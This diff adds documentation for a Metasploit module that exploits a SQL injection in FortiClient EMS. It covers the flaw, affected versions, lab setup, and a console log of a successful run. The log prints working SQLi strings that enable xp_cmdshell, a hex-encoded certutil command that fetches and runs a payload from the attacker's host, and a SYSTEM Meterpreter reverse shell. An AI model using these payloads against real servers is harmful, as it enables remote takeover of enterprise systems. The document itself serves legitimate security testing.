|
| 1 | +## Vulnerable Application |
| 2 | +An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). |
| 3 | +FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized |
| 4 | +platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which |
| 5 | +can be sent directly into database queries. |
| 6 | + |
| 7 | +FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 |
| 8 | +and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. |
| 9 | +In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable |
| 10 | +SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code |
| 11 | +execution in the context of NT AUTHORITY\SYSTEM |
| 12 | + |
| 13 | +Affected versions of FortiClient EMS include: |
| 14 | + 7.2.0 through 7.2.2 |
| 15 | + 7.0.1 through 7.0.10 |
| 16 | + |
| 17 | +Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet. |
| 18 | + |
| 19 | +It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient |
| 20 | +EMS for the necessary vulnerable services to be available. |
| 21 | + |
| 22 | +### Setup |
| 23 | +You'll need two Windows hosts. One domain controller and one Windows 10 host (a domain controller might not be 100% |
| 24 | +necessary however I used one and if you choose not to, your installation mileage may vary). The Windows 10 host will eventually |
| 25 | +install the FortiClient EMS Client and will be managed by our FortiClient EMS Server to enable the services required |
| 26 | +to exploit this vulnerability on the EMS Server. On the Windows 10 host set the the following Services to the following Startup Types: |
| 27 | + - Task Scheduler: Automatic |
| 28 | + - Windows Installer: Manual |
| 29 | + - Remote Registry: Automatic |
| 30 | + |
| 31 | +Then either disable Windows Firewall completely or configure to allow the following inbound connections: |
| 32 | + - File and Printer Sharing (SMB-In) |
| 33 | + - Remote Scheduled Tasks Management (RPC) |
| 34 | + |
| 35 | +Now on the domain controller download the installer `FortiClientEndpointManagementServer_7.0.7.0398_x64.exe`. You will need |
| 36 | +a FortiNet account to request a free trial. |
| 37 | + |
| 38 | +On the domain controller launch the installer. When it completes within the application you will be presented with a sign in page. |
| 39 | +Enter username: "admin" with a blank password and click "Sign in" - this will prompt you to create a new password for the admin user. |
| 40 | +Then authenticate with the new password. |
| 41 | +A pop up window reading: "We didn't find any licenses for this EMS..." click "Try Free" and sign in with your FortiNet |
| 42 | +account to request a free trial. |
| 43 | + |
| 44 | +Once FortiClient EMS has been launched, in the left hand side select System Settings > EMS Settings, then under Shared |
| 45 | +Settings select "Use FQDN" and input the domain controller's FQDN. Ensure the FQDN is accessible by pinging it from the cmdline. |
| 46 | +A pop up window reading: "The server will need to restart..." click "Yes". |
| 47 | + |
| 48 | +Scroll down to "EMS Settings". In the "FortiClient Download URL" replace the IP address with the domain controller's FQDN. |
| 49 | +Click save. |
| 50 | + |
| 51 | +Next select System Settings > FortiGuard Services under Cloud Services set the timezone your server is located in. |
| 52 | +Click Save. |
| 53 | + |
| 54 | +Under "Deployment & Installers" > "FortiClient Installer" on the right hand side select "Add". A pop up window will appear. |
| 55 | + |
| 56 | +For "Installer Type" select "Choose an official release". For "Release", choose 7.0 and for "Patch" choose 7.0.7 , click next. |
| 57 | +For "Name" input "FCT_707" click next. |
| 58 | +Keep all the defaults for the Features section and click next. |
| 59 | +Keep all the defaults for the Advanced section and click next and then click Finish. |
| 60 | + |
| 61 | +Now you should have a Deployment Package with a Download Link. Navigate to that download link on your Windows 10 host |
| 62 | +and download and install the .msi package. Once installed correctly you should see the Windows 10 host appear under the |
| 63 | +"Endpoint" tab in the EMS Server. FortiClient EMS Server should now be exploitable. |
| 64 | + |
| 65 | +## Verification Steps |
| 66 | + |
| 67 | +1. Start msfconsole |
| 68 | +1. Do: `use windows/http/forticlient_ems_fctid_sqli` |
| 69 | +1. Set the `RHOST` and `LHOST` options |
| 70 | +1. Run the module |
| 71 | +1. Receive a Meterpreter session running in the context of `NT AUTHORITY\SYSTEM` |
| 72 | + |
| 73 | +## Scenarios |
| 74 | +### FortiClient EMS 7.07.0398_x64 running on Windows Server 2019 (Domain Controller) |
| 75 | +``` |
| 76 | +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 |
| 77 | +rhosts => 172.16.199.200 |
| 78 | +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 |
| 79 | +lhost => 172.16.199.1 |
| 80 | +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options |
| 81 | +
|
| 82 | +Module options (exploit/windows/http/forticlient_ems_fctid_sqli): |
| 83 | +
|
| 84 | + Name Current Setting Required Description |
| 85 | + ---- --------------- -------- ----------- |
| 86 | + RHOSTS 172.16.199.200 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| 87 | + RPORT 8013 yes The target port (TCP) |
| 88 | + VHOST no HTTP server virtual host |
| 89 | +
|
| 90 | +
|
| 91 | +Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): |
| 92 | +
|
| 93 | + Name Current Setting Required Description |
| 94 | + ---- --------------- -------- ----------- |
| 95 | + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) |
| 96 | + FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) |
| 97 | + FETCH_DELETE false yes Attempt to delete the binary after execution |
| 98 | + FETCH_FILENAME FqgyHVSnYd no Name to use on remote system when storing payload; cannot contain spaces or slashes |
| 99 | + FETCH_SRVHOST no Local IP to use for serving payload |
| 100 | + FETCH_SRVPORT 8080 yes Local port to use for serving payload |
| 101 | + FETCH_URIPATH no Local URI to use for serving payload |
| 102 | + FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. |
| 103 | + LHOST 172.16.199.1 yes The listen address (an interface may be specified) |
| 104 | + LPORT 8383 yes The listen port |
| 105 | +
|
| 106 | +
|
| 107 | +Exploit target: |
| 108 | +
|
| 109 | + Id Name |
| 110 | + -- ---- |
| 111 | + 0 Automatic Target |
| 112 | +
|
| 113 | +
|
| 114 | +
|
| 115 | +View the full module info with the info, or info -d command. |
| 116 | +
|
| 117 | +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > |
| 118 | +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run |
| 119 | +[*] Reloading module... |
| 120 | +
|
| 121 | +[*] Started reverse TCP handler on 172.16.199.1:8383 |
| 122 | +[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable) |
| 123 | +[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully |
| 124 | +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully |
| 125 | +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully |
| 126 | +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully |
| 127 | +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully |
| 128 | +[*] Sending stage (201798 bytes) to 172.16.199.200 |
| 129 | +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75 |
| 130 | +726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025 |
| 131 | +54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully |
| 132 | +[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700 |
| 133 | +
|
| 134 | +meterpreter > getuid |
| 135 | +syServer username: NT AUTHORITY\SYSTEM |
| 136 | +meterpreter > sysinfo |
| 137 | +Computer : DC2 |
| 138 | +OS : Windows Server 2019 (10.0 Build 17763). |
| 139 | +Architecture : x64 |
| 140 | +System Language : en_US |
| 141 | +Domain : KERBEROS |
| 142 | +Logged On Users : 16 |
| 143 | +Meterpreter : x64/windows |
| 144 | +meterpreter > |
| 145 | +``` |
0 commit comments